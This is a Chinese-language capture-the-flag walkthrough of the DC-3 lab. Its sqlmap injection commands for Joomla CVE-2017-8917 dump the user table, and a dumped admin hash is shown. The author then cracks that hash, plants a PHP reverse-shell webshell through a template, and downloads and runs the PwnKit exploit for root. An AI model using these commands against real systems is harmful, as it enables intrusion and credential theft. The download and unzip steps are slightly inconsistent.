新手的第一次DC-3靶场渗透实战过程
新手的第一次DC-3靶场渗透实战过程
一.信息收集
1.靶机探测
nmap -sn 192.168.162.1/24 --exclude 192.168.162.128 192.168.162.1
扫描网段内存活的主机 不扫描端口
探测到了dc-3的靶机地址
2.端口扫描
nmap -sV -sC -O -p- 192.168.162.142

看到 目标靶机上面仅仅开放了一个80端口和http协议
我们这里访问一下
3.网页信息收集
我们通过Wappalyzer插件看到了 这个网页的CMS是joomia 以及网页上面给了一些提示 翻译了一下大致意思就是
DC-3靶机设计为一个渗透测试挑战,目标是通过唯一的入口(可能指Web应用)找到方法提升到root权限,从而获取唯一的flag。过程中没有提供额外线索,需要测试者自行探索,利用漏洞和提权技术完成任务。这需要信息收集、漏洞利用和权限提升的综合能力
这关没有falg提示了 只能靠自己了

4.目录扫描
我们这里使用joomscan对这个网页进行扫描
Joomscan 是一款开源的 Joomla CMS 漏洞扫描器,专用于自动化检测 Joomla 网站的安全问题。它是渗透测试中针对 Joomla 站点的常用工具,能快速识别潜在漏洞和错误配置。

扫描出来结果告诉我们Joomla 版本是 3.7.0 还告诉了我们一个管理员登录地址
我们现看看这个版本的Joomla存在什么漏洞可以复现
二.漏洞查找
1.浏览器搜索
把版本号丢到浏览器里面搜索了一下 发现这个版本存在着一个sql注入漏洞并且还给了编号 CVE-2017-8917

2.searchsploit
searchsploit是一款kali自带的搜索漏洞信息的模块,是一个用于Exploit-DB的命令行搜索工具,它还允许你随身带一份Exploit-DB的副本。searchsploit漏洞查找工具使用指南(exploit-db.com 离线工具 exploitdb)

同样的也告诉你了存在着sql注入 并且还给你了一个漏洞的复现地址
三.漏洞利用
1.漏洞复现
如果不会使用sqlmap可以看看这个 【SQL注入】Sqlmap使用指南(手把手保姆版)持续更新
报错注入
在kali中输入下面命令,获取数据库名,注入点为list:
sqlmap -u "http://[ip地址]/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)" --dbs 查看数据库 第一个选项选y 身下的回车后面也是一样
查看数据表
sqlmap -u "http://[ip地址]/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -D joomla --tables #__user表中存放着用户信息继续查看
查看users表中的内容
sqlmap -u "http://[ip地址]/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)" -D joomla -T '#__users' -C username,password --dump

到此我们成功的获得了网站的用户和他的加密密码
| admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Z |
|---|---|
2.密码爆破
这里我们使用john对这个密码进行爆破:没有使用过的可以参考John使用手册
先在桌面创建一个文件,将上面的hash密码复制进去并保存
使用john的时候写上文件地址就好了

爆破出来密码是snoopy
或者

你丢ai试试哈哈哈哈哈哈
3.远程控制
我们把账号密码拿去登录
在Extensions->Templants->Templants->Beez3这里发现了文件上传的地方
给我们的文件命名选择文件格式后就可以写文件内容了
我们这里使用php反弹shell
我们这里将我们的木马复制上去 (稍后会放在文章末尾)
点击保存就代表上传成功了
这个webshell会放在templates/beez3/里面 完整的路径为
http://[ip地址]/templates/beez3/webshell.php
先在kali上创建监听这个端口 然后再去我们访问这个网页

反弹成功
4. Get交互shell
跟DC-1一样,利用python获取交互shell
python -c 'import pty; pty.spawn("/bin/bash")'

交互成功 可以看到我们还不是root
四.提权
1.查找SUID权限文件的命令
Linux提权的方法有很多种详情可以参考[最详细Linux提权总结]
这里我们使用 find / -perm -4000 -type f 2>/dev/null

2.查找SUID权限文件的命令漏洞
丢到ai里面帮我们分析了一下
发现/usr/bin/pkexec有个高危存在 CVE-2021-4034(PwnKit)漏洞
查看pkexec版本:
pkexec --version
或检查系统版本:
lsb_release -a
uname -a若系统版本早于2022年1月,则可能未修复此漏洞。

可以看到这个漏洞是存在的 CVE-2021-4034(PwnKit)漏洞 现在我们进行复现
3.漏洞复现
CVE-2021-4034提权漏洞复现详情可以参考这篇文章
漏洞利用
1.使用这个项目来利用CVE-2021-4034:
wget https://github.com/berdav/CVE-2021-4034/main.tar.gz 下载到当前目录

解压
unzip main.zip 解压文件
cd CVE-2021-4034-main/ 进入目录
文件执行
make执行(里面对文件进行了编译)
./cve-2021-4034 //执行后,提权成功
python -c 'import pty; pty.spawn("/bin/bash")' 使用python获得交互shell

五.查找flag
接着用find命令找查flag
find / -name flag

cd /root
cat the-flag.txt

六.总结
1.对于网页里面的服务要及时查看有没有对应的漏洞工具进行更多的信息探测
2.学会使用searchsploit对于网站里面的服务看看有没有可以没有被修复利用的漏洞

浙公网安备 33010602011771号